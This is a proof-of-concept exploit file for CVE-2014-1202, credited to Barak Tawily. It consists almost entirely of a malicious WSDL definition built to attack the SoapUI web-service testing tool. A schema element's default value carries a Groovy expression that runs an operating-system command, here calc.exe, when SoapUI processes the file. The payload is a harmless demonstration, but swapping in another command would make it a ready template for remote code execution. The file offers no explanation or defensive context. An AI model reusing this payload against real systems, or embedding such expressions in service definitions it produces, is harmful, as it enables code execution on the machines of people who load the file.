Malicious WSDL CVE-2014-1202

<!--Malicious WSDL File, SoapUI Code Execution Vulnerability CVE-2014-1202, Barak Tawily-->
<wsdl:definitions targetNamespace="http://example.companyInfo"
 xmlns:tns="http://example.companyInfo"
 xmlns:wsdl="http://schemas.xmlsoap.org/wsdl/"
 xmlns:wsdlsoap="http://schemas.xmlsoap.org/wsdl/soap/"
 xmlns:wsdlmime="http://schemas.xmlsoap.org/wsdl/mime/"
 xmlns:xsd="http://www.w3.org/2001/XMLSchema">

 <wsdl:types>
  <xsd:schema elementFormDefault="qualified"
   targetNamespace="http://example.header">

   <xsd:element name="sampleHeader">
    <xsd:complexType>
     <xsd:all>
      <xsd:element name="priority" type="xsd:int"/>
     </xsd:all>
    </xsd:complexType>
   </xsd:element>
  </xsd:schema>


  <xsd:schema elementFormDefault="qualified"
   targetNamespace="http://example.companyInfo">

   <xsd:element name="Payload_Request">
    <xsd:complexType>
     <xsd:all>
      <xsd:element name="Payload" default="${=Runtime.getRuntime().exec('calc.exe')};" type="xsd:string"/>
     </xsd:all>
    </xsd:complexType>
   </xsd:element>

   <xsd:element name="Payload_RequestResult">
    <xsd:complexType>
     <xsd:all>
      <xsd:element name="result" type="xsd:float"/>
     </xsd:all>
    </xsd:complexType>
   </xsd:element>
  </xsd:schema>


 </wsdl:types>

 <wsdl:message name="Payload_RequestRequest">
   <wsdl:part name="part1" element="tns:Payload_Request"/>
 </wsdl:message>

 <wsdl:message name="Payload_RequestResponse">
  <wsdl:part name="part1" element="tns:Payload_RequestResult"/>
  <wsdl:part name="part2" type="xsd:string"/>
  <wsdl:part name="part3" type="xsd:base64Binary"/>
 </wsdl:message>

 <wsdl:portType name="CompanyInfo">
  <wsdl:operation name="Payload_Request">
   <wsdl:input message="tns:Payload_RequestRequest"
               name="Payload_RequestRequest"/>
   <wsdl:output message="tns:Payload_RequestResponse"
                name="Payload_RequestResponse"/>
  </wsdl:operation>
 </wsdl:portType>

 <wsdl:binding name="Exploit" type="tns:CompanyInfo">
  <wsdlsoap:binding style="document" transport="http://schemas.xmlsoap.org/soap/http"/>

  <wsdl:operation name="Payload_Request">
   <wsdlsoap:operation soapAction=""/>
   <wsdl:input name="Payload_RequestRequest">
    <wsdlsoap:body use="literal"/>
   </wsdl:input>
   <wsdl:output name="Payload_RequestResponse">
    <wsdlsoap:body use="literal"/>
   </wsdl:output>
  </wsdl:operation>
 </wsdl:binding>

 <wsdl:service name="CompanyInfoService">
  <wsdl:port binding="tns:Exploit" name="SOAPPort">
   <wsdlsoap:address location="http://somewhere/services/CompanyInfoService"/>
  </wsdl:port>
 </wsdl:service>

</wsdl:definitions>